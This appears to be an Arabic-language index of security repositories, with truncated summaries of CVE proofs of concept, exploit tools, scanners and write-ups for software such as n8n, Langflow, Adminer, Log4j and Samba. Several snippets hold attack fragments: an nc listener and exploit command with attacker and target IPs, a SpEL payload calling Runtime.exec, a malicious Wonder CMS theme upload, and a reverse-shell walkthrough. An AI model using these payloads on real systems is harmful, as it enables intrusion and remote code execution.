CVE-2026-56705

CVE-2026-56705: Adminer dsn"sqlsrv:Server=$host" . $port ? ",$port" : "", $username, $password; تُعامل الفواصل المنقوطة في server كمحددات لخصائص اتصال ODBC، لذا يمكن لمهاجم غير مصادق عليه إلحاق خصائص تعسفية بـ DSN — بما في ذلك TraceFile و TraceOn. تكتب ميزة تتبع unixODBC سلسلة الاتصال الكاملة مع...

cve-2026-39440-funnelforms-fix

إصلاح CVE-2026-39440 FunnelForms إضافة ووردبريس جاهزة للتركيب تمنع معالج استيراد العروض التوضيحية Demo Import المعرض للخطر في FunnelForms Pro ≤ 3.8.1 للتخفيف من تنفيذ التعليمات البرمجية عن بُعد CVE-2026-39440, CVSS 9.9. الثغرة الأمنية الحقل| القيمة ---|--- معرف CVE| CVE-2026-39440 درجة CVSS| 9.9...

CVE-2026-58073-check

سكربت كشف حالة التصحيح لانتحال وكيل Veeam Service Provider Console أداة كشف آمنة وغير مصادق عليها لثغرات KB4893 في Veeam Service Provider Console نُشرت في 2026-08-04. تجيب على سؤال واحد لكل هدف، قبل أي مصادقة أو TLS: هل إصلاحات KB4893 موجودة على هذه الكونسول؟ الزوج الرئيسي هو سلسلة. CVE-2026-5807...

Research-CVE-2026-21858

CVE-2026-21858 Ni8mare: تجاوز المصادقة وتنفيذ التعليمات البرمجية عن بُعد في n8n 1. نظرة عامة على الثغرة الأمنية الاسم: Ni8mare معرّف CVE: CVE-2026-21858 درجة CVSS: 10.0 حرجة نوع الثغرة: تجاوز المصادقة، تضمين الملفات المحلية LFI، تنفيذ التعليمات البرمجية عن بُعد RCE الإصدارات المتأثرة: إصدارات n8n...

CVE-2026-44590

CVE-2026-44590 - sherlock-project/sherlock CI - RCE عبر حقن pullrequesttarget → اختراق سلسلة التوريد تم الاكتشاف والإبلاغ بواسطة: Astaruf الشرح الكامل: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/ الإشعار الرسمي: إشعار GHSA الخاص بـ sherlock-project/sherlock إدخال...

Spring-Cloud-Function-SpEL

Spring-Cloud-Function-SpEL يمكنك زيارة المدونة الشخصية لعرض التفاصيل https://pizz33.github.io/ بيئة اختبار لحقن تعبير SpEL في Spring Cloud Function الإصدار java11 قم بتشغيل java -jar demo-0.0.1-SNAPSHOT.jar للبدء بعد اكتمال الإعداد، قم بزيارة المنفذ 127.0.0.1:8080 POST /functionRouter HTTP/1.1...

CVE-2026-42778-POC

CVE-2026-42778 نظرة عامة إصلاح غير مكتمل في طريقة AbstractIoBuffer.getObject في Apache MINA. التحقق من قائمة أسماء الفئات المسموح بها والذي يقيّد الفئات التي يمكن إلغاء تسلسلها يتم تطبيقه بعد فوات الأوان، بعد أن تكون المُهيّئات الثابتة في الفئات التي يتم قراءتها قد نُفّذت بالفعل. يحدث هذا لأن...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise هي واجهة مستخدم تعتمد على السحب والإفلات لبناء تدفق نموذج لغة كبير مخصص. في الإصدار 3.0.5، تكون Flowise عرضة لتنفيذ التعليمات البرمجية عن بُعد. تتيح عقدة CustomMCP للمستخدمين إدخال إعدادات التكوين للاتصال بخادم MCP خارجي. تقوم هذه العقدة بتحليل سلسلة mcpServerConfig ال...

PoC-CVE-2026-33017

CVE-2026-33017: تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Langflow المراجع التتبع الرسمي وقواعد البيانات CVE-2026-33017 MITRE: https://vulners.com/cve/CVE-2026-33017 إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33017 التحليل الفني والاستشارات استشارة أمان Git...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 تنفيذ الأوامر عن بُعد في MCPJam Inspector المرجع https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

cve-2026-4257

CVE-2026-4257 يستغل هذا الاستغلال CVE-2026-4257، وهي ثغرة حقن القوالب من جانب الخادم SSTI في إضافة "Contact Form" الخاصة بووردبريس من Supsystic في الإصدارات 1.7.36 وما قبلها. تسمح هذه الثغرة لمهاجم غير مصادَق بتنفيذ أكواد برمجية عن بُعد RCE. توجد الثغرة في الدالة generateHtml من الصنف formsViewCf...

r2s

React2Shell R2S - أداة اختبار CVE-2025-55182 أداة متقدمة لاختبار الاستغلال لتقييم الثغرة CVE-2025-55182 الميزات • التثبيت • الاستخدام • بيئة الاختبار • إخلاء المسؤولية القانوني 📖 ما هو R2S؟ R2S React2Shell هي أداة لاختبار الأمان صُممت لمساعدة باحثي الأمان والمطورين ومختبري الاختراق في تقييم ما إذ...

Exploiting-Samba-on-Metasploitable-2

Exploiting-Samba-on-Metasploitable-2 هدفي هنا كان استخدام metasploit من جهاز Kali Linux لاستغلال ثغرة معروفة في Samba CVE-2007-2447. يتم ذلك من أجل اختراق جهاز Metasploitable 2 بقشرة عكسية للوصول إلى مجلد الجذر. بمجرد الوصول إلى هذا المجلد، فسوف يكشف عن مجلد /etc/shadow الذي يقدم دليلاً على...

nextjs-security-scanner

النسخة اليابانية متوفرة في README.ja.md. nextjs-security-scanner سكربت Bash للكشف عن CVE-2025-55182 React2Shell وتسريب بيانات الاعتماد في مشاريع Next.js. بدون أي تبعيات. CVE-2025-55182: React2Shell CVSS: 10.0 حرج | CWE-502: إلغاء تسلسل بيانات غير موثوقة | SNORT SID: 65554 تنفيذ تعليمات برمجية عن...

CVE-RCE

لا يحتوي هذا المستودع على ملف README...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 تسجيل الدخول إلى البوابة كمسؤول إضافة مشروع جديد sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80...

Log4Shell-Payloads

🚨 مجموعة حمولات Log4Shell قائمة منتقاة من حمولات استغلال Log4Shell / Log4J التي تستهدف: CVE-2021-45046 CVE-2022-42889 🔗 بواسطة @nav1n0x 🔥 حمولات من سطر واحد ✅ سطر واحد 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

CVE-2023-41425

Wonder CMS RCE تنفيذ الأوامر عن بعد | | الوصف : XSS إلى RCE، Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat form+action=" EOF Starting a new web server to serve payloads sudo python3 -m http.server $LPORTWEB & | | بعد إرسال XSS RCE إلى...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example بيئة CVE-2022-22980 بناء بيئة Docker docker build -t mongo . docker run -dit -p 6666:6666 mongo Poc ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

CVE-2022-40127-Airflow-RCE

Apache Airflow توجد ثغرة أمنية في DAGs المثال Example Dags في Apache Airflow تسمح لمهاجم لديه وصول إلى واجهة المستخدم ويمكنه تشغيل DAGs بتنفيذ أوامر عشوائية عبر معامل runid المُقدَّم يدويًا. تؤثر هذه المشكلة على إصدارات Apache Airflow السابقة للإصدار 2.4.0. أُنشئ هذا المستودع لمنشور مدونة لتحليل...